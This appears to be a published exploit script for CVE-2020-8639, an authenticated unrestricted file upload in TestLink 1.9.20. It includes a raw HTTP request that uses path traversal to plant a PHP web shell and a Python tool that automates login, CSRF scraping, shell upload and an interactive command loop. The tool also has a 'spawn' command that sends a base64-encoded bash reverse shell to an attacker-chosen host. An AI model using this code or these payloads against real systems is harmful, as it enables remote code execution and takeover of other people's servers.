TestLink 1.9.20 - Unrestricted File Upload (Authenticated)

# Exploit Title: TestLink 1.9.20 - Unrestricted File Upload (Authenticated)
# Date: 14th February 2021
# Exploit Author: snovvcrash
# Original Research by: Ackcent AppSec Team
# Original Research: https://ackcent.com/testlink-1-9-20-unrestricted-file-upload-and-sql-injection/
# Vendor Homepage: https://testlink.org/
# Software Link: https://github.com/TestLinkOpenSourceTRMS/testlink-code
# Version: 1.9.20
# Tested on: Ubuntu 20.10
# CVE: CVE-2020-8639
# Requirements: pip3 install -U requests bs4
# Usage Example: ./exploit.py -u admin -p admin -P 127.0.0.1:8080 http://127.0.0.1/testlink

"""
Raw exploit request:

POST /testlink/lib/keywords/keywordsImport.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------242818621515179709592867995067
Content-Length: 1187
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/testlink//lib/keywords/keywordsImport.php?tproject_id=1
Cookie: PHPSESSID=kvbpl3t3lec42qbjdcgdppncib; TESTLINK1920TESTLINK_USER_AUTH_COOKIE=af57ebce9f54ce0f0e36d24ef25dc9c1b3a9d2f8e0b9cb4454c973927306e90f
Upgrade-Insecure-Requests: 1

-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="CSRFName"

CSRFGuard_1115715115
-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="CSRFToken"

506c4b44825c5e5885231c263e7195188dedbd154b9cf74e5d183c1feb953aec7c0edae1097649d82acd20f6f851e0cdbac91cc0589d1cfd6fb13741f9cf0cb8
-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="importType"

/../../../logs/pwn.php
-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="MAX_FILE_SIZE"

409600
-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="uploadedFile"; filename="foo.xml"
Content-Type: application/xml

<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1' );} ?>
-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="tproject_id"

1
-----------------------------242818621515179709592867995067
Content-Disposition: form-data; name="UploadFile"

Upload file
-----------------------------242818621515179709592867995067--
"""

#!/usr/bin/env python3

import re
from urllib import parse
from cmd import Cmd
from base64 import b64encode
from argparse import ArgumentParser

import requests
from bs4 import BeautifulSoup

parser = ArgumentParser()
parser.add_argument('target', help='target full URL without trailing slash, ex. "http://127.0.0.1/testlink"')
parser.add_argument('-u', '--username', default='admin', help='TestLink username')
parser.add_argument('-p', '--password', default='admin', help='TestLink password')
parser.add_argument('-P', '--proxy', default=None, help='HTTP proxy in format <HOST:PORT>, ex. "127.0.0.1:8080"')
args = parser.parse_args()


class TestLinkWebShell(Cmd):

	payloadPHP = """<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1' );} ?>"""
	uploadPath = 'logs/pwn.php'
	prompt = '$ '

	def __init__(self, target, username, password, proxies):
		super().__init__()

		self.target = target
		self.username = username
		self.password = password

		if proxies:
			self.proxies = {'http': f'http://{proxies}', 'https': f'http://{proxies}'}
		else:
			self.proxies = None

		self.session = requests.Session()
		self.session.verify = False

		resp = self.session.get(f'{self.target}/login.php', proxies=self.proxies)
		soup = BeautifulSoup(resp.text, 'html.parser')

		self.csrf_name = soup.find('input', {'name': 'CSRFName'}).get('value')
		self.csrf_token = soup.find('input', {'name': 'CSRFToken'}).get('value')
		self.req_uri = soup.find('input', {'name': 'reqURI'}).get('value')
		self.destination = soup.find('input', {'name': 'destination'}).get('value')

	def auth(self):
		data = {
			'CSRFName': self.csrf_name,
			'CSRFToken': self.csrf_token,
			'reqURI': self.req_uri,
			'destination': self.destination,
			'tl_login': self.username,
			'tl_password': self.password
		}

		resp = self.session.post(f'{self.target}/login.php?viewer=', data=data, proxies=self.proxies)
		if resp.status_code == 200:
			print('[*] Authentication succeeded')

			resp = self.session.get(f'{self.target}/lib/general/mainPage.php', proxies=self.proxies)
			if resp.status_code == 200:
				print('[*] Loaded mainPage.php iframe contents')
				soup = BeautifulSoup(resp.text, 'html.parser')

				self.tproject_id = soup.find('a', {'href': re.compile(r'lib/keywords/keywordsView.php\?')}).get('href')
				self.tproject_id = parse.parse_qs(parse.urlsplit(self.tproject_id).query)['tproject_id'][0]

				print(f'[+] Extracted tproject_id value: {self.tproject_id}')

			else:
				raise Exception('Error loading mainPage.php iframe contents')

		else:
			raise Exception('Authentication failed')

	def upload_web_shell(self):
		files = [
			('CSRFName', (None, self.csrf_name)),
			('CSRFToken', (None, self.csrf_token)),
			('importType', (None, f'/../../../{TestLinkWebShell.uploadPath}')),
			('MAX_FILE_SIZE', (None, '409600')),
			('uploadedFile', ('foo.xml', TestLinkWebShell.payloadPHP)),
			('tproject_id', (None, self.tproject_id)),
			('UploadFile', (None, 'Upload file'))
		]

		resp = self.session.post(f'{self.target}/lib/keywords/keywordsImport.php', files=files, proxies=self.proxies)
		if resp.status_code == 200:
			print(f'[*] Web shell uploaded here: {self.target}/{TestLinkWebShell.uploadPath}')

			print('[*] Trying to query whoami...')
			resp = self.session.get(f'{self.target}/{TestLinkWebShell.uploadPath}?c=whoami', proxies=self.proxies)
			if resp.status_code == 200:
				print(f'[+] Success! Starting semi-interactive shell as {resp.text.strip()}')

			else:
				raise Exception('Error interacting with the web shell')

		else:
			raise Exception('Error uploading web shell')

	def emptyline(self):
		pass

	def preloop(self):
		self.auth()
		self.upload_web_shell()

	def default(self, args):
		try:
			resp = self.session.get(f'{self.target}/{TestLinkWebShell.uploadPath}?c={args}', proxies=self.proxies)
			if resp.status_code == 200:
				print(resp.text.strip())
		except Exception as e:
			print(f'*** Something weired happened: {e}')

	def do_spawn(self, args):
		"""Spawn a reverse shell. Usage: \"spawn <LHOST> <LPORT>\"."""
		try:
			lhost, lport = args.split()
			payload = f'/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
			b64_payload = b64encode(payload.encode()).decode()
			cmd = f'echo {b64_payload} | base64 -d | /bin/bash'
			self.default(cmd)
		except Exception as e:
			print(f'*** Something weired happened: {e}')

	def do_EOF(self, args):
		"""Use Ctrl-D to exit the shell."""
		print(); return True


if __name__ == '__main__':
	tlws = TestLinkWebShell(args.target, args.username, args.password, args.proxy)
	tlws.cmdloop('Type help for list of commands')